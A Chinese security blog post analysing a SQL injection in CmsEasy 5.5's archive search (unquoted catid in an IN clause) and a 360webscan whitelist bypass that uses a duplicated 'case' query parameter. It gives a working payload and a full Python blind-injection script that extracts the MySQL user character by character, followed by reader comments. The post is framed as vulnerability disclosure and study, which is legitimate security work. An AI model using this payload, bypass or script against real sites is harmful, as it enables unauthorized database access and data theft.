cmseasy最新注入+360webscan的绕过分析

最近一直没什么好文章,只有闲下来挖了几个洞。一般挖洞的时候就没法发文章,因为自己提交上去的洞在公开前是不能泄露的。不过这个洞与乌云某大牛的洞重复了,于是我就发出来一起学习一下。不过这个洞应该有些年头了。

先下载最新版:http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.5_UTF-8_20150318.zip。经过神器比对,发现最新版进行了一些功能上的修改,可就是这处修改造成注入。

/lib/default/archive_act.php 283行

<?php
if (front::post('catid')) {

           $cateobj = category::getInstance();
           $sons = $cateobj->sons(front::post('catid'));
           if(is_array($sons) && !empty($sons)){
               $cids = front::post('catid').','.implode(',',$sons);
           }else{
               $cids = front::post('catid');
           }
           $condition .= "catid in (".$cids.") AND ";
           //var_dump($condition);exit;
       }

$condition .= "catid in (".$cids.") AND ";直接将$cids放入SQL语句,而$cids = front::post('catid');。 由于没有引号包裹,所以造成注入。

绕过360webscan的方法,还是借助白名单,但方式有点区别。

<?php
/**
*  拦截目录白名单
*/
function webscan_white($webscan_white_name,$webscan_white_url=array()) {
 $url_path=$_SERVER['SCRIPT_NAME'];
 $url_var=$_SERVER['QUERY_STRING'];
 if (preg_match("/".$webscan_white_name."/is",$url_path)==1&&!empty($webscan_white_name)) {
   return false;
 }
 foreach ($webscan_white_url as $key => $value) {
   if(!empty($url_var)&&!empty($value)){
     if (stristr($url_path,$key)&&stristr($url_var,$value)) {
       return false;
     }
   }
   elseif (empty($url_var)&&empty($value)) {
     if (stristr($url_path,$key)) {
       return false;
     }
   }

 }

 return true;
}

if (stristr($url_path,$key)&&stristr($url_var,$value)),当key和value都在白名单中存在时,就不进行过滤。

而白名单的数组为:

$webscan_white_url = array('index.php' => 'admin_dir=admin','index.php' => 'case=file','index.php' =>'case=admin');

也就是说index.php?case=file,这样的请求就不会检测。

但我们的目标url是index.php?case=archive&act=search&page=1,不是case=file。没关系呀,这里比对的时候用的是$_SERVER['QUERY_STRING'];,而PHP对于两个case=xxx,是取后面一个作为值。所以,请求/index.php?page=1&case=admin&case=archive&act=search即可。

这样,即可以在QUERY_STRING里找到case=admin,进而绕过360webscan,又可以让case=archive。

测试:

向http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1 POST数据 catid=-1) or ord(substr(user(),1,1))=114%23

=114(r)的时候有返回结果:

QQ20150404-2@2x.png

=115的时候没有返回结果:

QQ20150404-3@2x.png

脚本验证:

QQ20150404-1@2x.png

脚本如下:

#!/usr/bin/python
import requests, sys, base64, traceback
headers = {
       'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'
}
payloads = list('@abcdefghijklmnopqrstuvwxyz.0123456789')
print 'start to retrive MySQL infomation:'
def run():
       user = ''
       for i in range(1,16):
               for payload in payloads:
                       try:
                               data =  {
                                       "catid": '-1) or ord(substr(user(),%s,1))=%s#' % (i, ord(payload))
                               }
                               req = requests.post("http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1", data = data, headers = headers, timeout = 5)
                               if "<strong>1</strong>" in req.content:
                                       user += payload
                                       print '\n[In progress]', user
                                       break
                       except:
                               print traceback.print_exc()
                               break
                       sys.stdout.write('.')
                       sys.stdout.flush()
       print '\n[Done]infomation is', user

run()

赞赏

喜欢这篇文章?打赏1元

评论

HELEN 回复

还没来得及玩就修复了。。

nf0v 回复

神器是什么?文中提到的神器,求大牛回答!!

phithon 回复

@nf0v:佛曰不能说

nf0v 回复

@phithon:beyond compare 对把,谢谢大牛!

nf0v 回复

神奇是什么?

神州网络 回复

支持

Th1nk 回复

自从时雨牛有了mac之后,更加炫酷了

captcha